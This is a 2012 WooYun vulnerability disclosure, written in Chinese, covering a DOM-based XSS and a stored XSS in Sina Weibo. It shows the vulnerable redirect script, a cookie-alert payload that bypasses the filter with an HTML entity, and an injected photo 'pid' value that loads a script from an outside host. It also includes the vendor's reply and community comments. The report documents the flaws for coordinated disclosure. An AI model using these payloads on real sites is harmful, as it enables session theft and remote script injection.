当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07846

漏洞标题:新浪微博主站XSS + 微博某官方应用存储型XSS

相关厂商:新浪

漏洞作者: gainover

提交时间:2012-06-03 17:40

修复时间:2012-07-18 17:40

公开时间:2012-07-18 17:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-03: 细节已通知厂商并且等待厂商处理中
2012-06-03: 厂商已经确认,细节仅向厂商公开
2012-06-13: 细节向核心白帽子及相关领域专家公开
2012-06-23: 细节向普通白帽子公开
2012-07-03: 细节向实习白帽子公开
2012-07-18: 细节向公众公开

简要描述:

单独一个反射型的不好意思发,然后就跑去找啊找。。凑个存储型的一起发。。
这2天打开我们这边的电信好像出了问题, 打开乌云特别慢!! 我提交这个。。弄了3,4次,都卡住了。
无奈之下。切换教育网。。。。。
BTW,新浪的礼物着实不错,不管价值多少,数量还是很可观的,俺转手送妹子也可以多分几个妹子~~ 。 *^_^*
1. 新浪微博某处代码过滤不严,导致在IE下可以触发XSS攻击。
2. 微博某应用某处输入输出未过滤,导致存储型XSS。

详细说明:

1. 第一个问题,网易微博和你们存在一样的问题,有问题的代码段也是一模一样。
以下是有问题的JS代码,该代码在几乎每个页面下均存在。

<script type="text/javascript">
(function() {
var url = location.toString();
var index = url.indexOf('#!');
if (index != -1) {
location.replace(url.substr(index + 2).replace(/\:/g, ''));
}
})();
</script>


虽然代码过滤了冒号,但是在IE下(测试时为win7+ IE9),我们可以通过以下方式绕过。

http://www.weibo.com/gainover#!javascript&#x3A;alert(document.cookie)


-----------------------------------------------
2. 微博相册功能存储型XSS
A. 进入相册之后,还是先上传了个图片,试了下图片的描述,标签等位置,均被过滤了。。
B. 回到相册首页(http://photo.weibo.com/{你的ID}/photos)打开调试工具,查看刚上传的图片。 会看到以下内容。
[图片_2_1]


C. 可以看到图_2_1所示,里面有一个pid,不难推测是picture_id之意。 那么这个pid,是服务器端所分配,还是我们可以自定义输入呢?
D. 带着这个疑问,我们再回到上传功能,抓包, 见图_2_2
[图片_2_2]


E. 可以发现,这里貌似可以自己写入pid,就是不知道新浪做了过滤没有,当然,每次这个时候,我都是心里祈祷:“没过滤,没过滤,没过滤。。。。”
在我强大念力的支持下, 新浪的防线崩溃了,
我们修改pid为

1dtl0mv6r0bj">


果然没过滤。侧漏啦~~
[图片_2_3]


F. 但是比较意外的是,再打开chrome调试工具的时候,我们发现,我们原来最开始看到的那个pid的位置并没有改变,而我们的代码,是插到了<img src="http://xxxx/pid{我们的代码}.jpg"> ,见图2_4。
[图片_2_4]


到这里,才发现自己眼瞎了。最初看到的那个 pid 和我们POST的pid其实根本不是一个东西。。。 list-data里的pid是纯数字,我们post的pid是数字+字母组合!!
G. 歪打正着了。。。歪打正着了。。
H. 看岔了也没什么,反正我们发现一处没过滤的位置,那就好办啦,我们开始构造我们的代码。
修改pid为以下内容。然后提交。 由于pid长度有大约75的限制,故事也jQuery来调用外部JS

http://photo.weibo.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/photo
POSTDATA
album_id 3452856527901069
pid 1dtl0mv6r0bj" onerror="jQuery.getScript('//xsst.sinaapp.com/m.js')"><b/


G. 效果见漏洞截图证明,
以下是被插入的代码
[图片_2_5]


或打开以下测试页面!
http://photo.weibo.com/2818517120/albums/detail/album_id/3452856527901069
http://photo.weibo.com/2818517120/photos/detail/photo_id/3452864928806857

漏洞证明:

第一个XSS证明:


第二个XSS证明:

修复方案:

对 http://photo.weibo.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/photo 的 pid 进行过滤。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-06-03 18:41

厂商回复:

第一个是DOM型,第二个存储型。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-03 19:07 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    确认的挺快~~ XSS的类型,单独划个DOM XSS出来,我个人觉得挺纠结的,DOM XSS与传统反射型XSS最大的区别是什么呢?不经过服务器端么? 好像只有location,referer等少数几个点可以作为输入入口了,这么狭窄的范围,还单独分为一支? @xsser 求教!!

  2. 2012-06-03 19:46 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    关于一楼问题,可移步至:关于Dom-based Xss这一类型的讨论 (http://zone.wooyun.org/content/339)

  3. 2012-06-03 23:07 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    牛擦了 膜拜

  4. 2012-06-04 00:19 | 瞌睡龙 ( 实习白帽子 | Rank:59 漏洞数:5 | fighting……)

    哎!每次经过自己手的产品总想尽最大的力安全,但是版本更新的时候,开发人员很少会注意以前出的问题,在犯同样的错误,但是更新版本又没经过自己的手,漏洞再现~~~一种在做无用功的感觉油然而生,这两个值20分。。。

  5. 2012-06-04 10:40 | 新浪(乌云厂商)

    When we distinct 'Reflected' or 'Stored', we invole server side function by default, they are 'server reflects' or 'server stores'. Dom based XSS is caused by modifying the DOM 'environment', not page itself.

  6. 2012-07-18 19:49 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @瞌睡龙 无用功.........

  7. 2012-07-19 20:35 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @瞌睡龙 今天赶一个工期完了,可以好好回答这个问题。其实有时开发真不是想这么犯,假设在被人催被人压的情况下,开发满脑只是怎样尽快完成功能,尽快提测,而且更倾向于到测试环节时让QA测出性能安全问题时再改bug。这种思维的结果是,在开发过程中,对性能和安全的执行其实近乎于一种本能反应——我的意思是在高压情况下,开发员能够看到的都是自己很熟悉很常见的那些内容,稍微超出一点范围基本是两眼一瞎。虽然这个思维不对,但真的很现实。

  8. 2012-07-19 23:32 | 瞌睡龙 ( 实习白帽子 | Rank:59 漏洞数:5 | fighting……)

    @horseluke 好吧,,,各有各的难处 怪就怪互联网是个迭代速度非常快的行业,很多事情身不由己。

  9. 2012-07-20 11:07 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @瞌睡龙 话说互联网这种高速迭代,我自己也感到一种深深的无力感...